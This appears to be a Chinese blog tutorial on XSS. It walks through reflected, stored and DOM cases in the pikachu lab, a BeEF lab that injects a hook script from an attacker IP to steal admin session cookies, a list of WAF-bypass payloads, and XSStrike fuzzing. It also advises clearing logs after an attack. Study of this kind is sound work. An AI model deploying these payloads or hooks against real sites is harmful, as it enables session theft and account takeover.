XSS漏洞

#作者:允砸儿

#日期:乙巳青蛇年 六月初十

今天笔者介绍的漏洞是我们在日常生活中可以接触到的,但是跨站脚本攻击危害性不是很大,所以笔者简单介绍一下这部分知识。让我们直接进入正题。

1、xss简介

跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆 故将跨站脚本攻击缩写为 XSS 。

恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。

功能与危害

1、盗取各类用户账号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击(重定向语句)

8、窃取 cookie的sessionid,冒充登录

2、反射型与存储型xss

xss 攻击可分为三类:反射型、存储型、dom 型,很容易混淆的是反射和dom类型。危害较大的也是dom型。

a、反射型

案例一

直接编写demo做一个1.php内容为:

<?php xss = _GET['x'];echo $xss;?>

在url里面输入:http://localhost/1.php?x=\<script>alert(1)</script>,网页回出现一个1的点击弹窗。

案例二

这个在pikachu的靶场里面的反射型xss漏洞(get)

步骤1、输入框内有一个长度限制,需要f12,改一下前端的长度限制

步骤2、在输入框内输入x=<script>alert(1)</script>

总结流程和原理

客户端 (我已经开机了) 黑客(诱导你点击url链接)#这个连接我插入恶意的代码,只要你点击这个链接

客户端只要你点击,他就会向服务端发送请求。sql服务器会从url取出来并且拼接到html中返回浏览器

客户端解析它返回的代码,此前黑客注入在url中的恶意代码会随之执行,从而做出一些行为。

恶意代码script中写很多东西,服务端一请求会把代码拿出来,随之,会获得你的cookie seionid就会被拿到。

b、存储型

案例一

在pikachu的靶场里面的反射型xss漏洞(存储型xss)

他会存储在对方服务器中一直会在,攻击会一直持续下去的。

攻击语句:<script>alert(1)</script>

你搞完之后,需要删除日志,痕迹清理。内网渗透需要做痕迹清理,之后需要写漏洞渗透报告。

总结: 攻击数据存储在服务器,攻击一直持续下去,危害比反射大。

c、dom型

在pikachu的靶场里面的dom型xss漏洞(dom型xss)

原理:dom型主要一次点击跳转页面,所以在跳转的超链接后面加一个,href后面加一个=....代码。#在a标签里面是跳转空连接,用'进行闭合。

#' οnclick="alert('hack')" | 用a标签去触发的

在我们打靶场的时候我们可以先看看源代码说不定里面就有提示了。

总结

黑客诱导用户点击恶意url:注入script恶意代码xxxxxx.com/?xxx=<script>恶意代码</script>

客户端用户执行相关攻击代码,发送相关信息(如cookie)or 其他操作。

3、xss综合案例

实战:

前期准备环境,一个后台系统的靶场。在kali使用docker拉取beff环境

案例1

步骤1

客户端:蓝队(宿主机、外面的电脑、后台系统靶场jfdd)192.12.1.2

攻击端:红队(kali、虚拟机、beef)192.18.5.3

在留言内容版输入:<script src="http://192.18.5.3:3000/hook.js"></script>

步骤2

在工具beef里面==》》command==》》redirect。开始篡改网页

案例2

步骤1

在beef工具中获取对方的cookie,在kai的hackbar里面加入它的cookie

#在这里面需要注意有可能不让你用beefhook

步骤2

cookie里面有phpsession id,admin登录状态的个人东西,我可以进行信息收集知道你的网站和IP地址,以及登录后台的网址。

#注意需要对方一直处于登陆界面。

#注意对方是登录状态,如果将原目标任务挤掉,那就不能使用beef.xxs

#注意hock.js是js文件并不是木马。

实际情况

1、需要对方网站有此漏洞

2、浏览器版本会修复此漏洞

3、需要对方一直登录状态

4、遇到各种防护WAF

5、怎么让对方触发(重点,核心点)

例如:我在该网站进行下单的时候把js发过去,但是没有触发。陌生人不会点击该网站所以不好触发此漏洞。

4、XSS绕过技巧和修复

笔者写一下waf绕过的内容。首先就是使用其他标签来替换,不同的waf过滤手段并不一样,需要自己去尝试。

1、标签语法替换:

audio标签:

<audio src=x οnerrοr=alert(47)>

<audio src=x οnerrοr=prompt(1);>

<audio src=1 href=1 οnerrοr=javascript:alert(1)></audio>

video标签:

<video src=x οnerrοr=prompt(1);>

<video src=x οnerrοr=alert(48)>

button标签:

<button οnfοcus=alert(1) autofocus>

<button/οnclick=alert(1) >xss</button>

加密算法:

<details open οntοggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >

2、利用绕过工具

xssstrike

笔者在这里贴一个GitHub的网址里面有该工具:https://github.com/s0md3v/XSStrike

简单写一下参数:

-h, --help //显示帮助信息

-u, --url //指定目标 URL

--data //POST 方式提交内容

-v, --verbose //详细输出

-f, --file //加载自定义 paload 字典

-t, --threads //定义线程数

-l, --level //爬行深度

-t, --encode //定义 payload 编码方式

--json //将 POST 数据视为 JSON

--path //测试 URL 路径组件

--seeds //从文件中测试、抓取 URL

--fuzzer //测试过滤器和 Web 应用程序防火墙。

--update //更新 --timeout //设置超时时间

--params //指定参数

--crawl //爬行

--proxy //使用代理

--blind //盲测试

--skip //跳过确认提示

--skip-dom //跳过 DOM 扫描

--headers //提供 HTTP 标头

-d, --delay //设置延迟

案例1

fuzz测试1

安装依赖:pip install -r requirements.txt

C:\Users\86188\Desktop\tool\XSStrike-master>python xsstrike.py -u "http://localhost/1.php?x=1" --fuzzer

#注意前面交加xss工具的目录

直接探测
C:\Users\86188\Desktop\tool\XSStrike-master>python xsstrike.py -u "http://localhost/1.php?x=1"

发现并没有payload加载,原因是1.php并不是一个正确的html页面

我们需要修改1.php

payload:<detaiLs%09OnpointerEnTeR+=+confirm()#绕过狗的密码

测试

案例2

使用 bp来训狗

笔者在这里贴一个payload字典的网址链接,里面有我们需要的:https://github.com/tennc/fuzzdb/

直接动用字典训狗,在GET /1.php?x=??? HTTP/1.1,在x后面直接插入字典破解。

如何删除安全狗以及下载安全狗

笔者在这里简单写一下安全狗的内容是我们在打靶机的时候用的。

1、停掉phpstudy

2、回到apache文件夹内/bin

3、使用管理员的身份运行#如何切换目录,复制文件夹的确切地址到cmd中,随后在输入D:盘的根目录

4、httpd.exe

5、回到我的电脑里面有一个服务,找到apache的服务改成手动启动

#注意这里面可能卸载不干净启动失败

6、狗安装到phpstudy里面所在的apache目录

7、没有卸载干净,需要清空注册表。

#使用删除命令//重装phpstudy//修改注册表:config》httpd.conf

修复防御

httponly

如果在 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到 cookie信息,这样能有效的防止XSS攻击,但是并不能防止xss 漏洞只能是防止cookie被盗取。

总结:只是简单写一下xss漏洞,此漏洞危害并不是很大。笔者拖更了很长时间非常抱歉,后面笔者会持续更新的请朋友们放心。

最后,我想分享一个重要的学习心得:学会掌控自己,是高效学习的关键。 具体来说有两点建议:

1、让知识真正属于自己: 无论是做思维导图还是整理笔记,关键在于主动加工和内化。不要只是机械记录,要动手去修改、优化思维导图,把笔记真正变成符合自己思维习惯的"知识地图"。同时,养成提前规划的习惯,前一天晚上就思考清楚第二天要完成的核心任务。

2、科学休息,保持专注: 建议每学习两小时左右,就安排一次半小时的休息。休息时务必远离手机和短视频! 因为它们会严重分散你的注意力,让思维难以迅速回到学习状态,反而消耗了宝贵的精力。

这就是我实践后觉得非常有效的方法,分享给大家。希望我们都能持续精进,一起变得更强!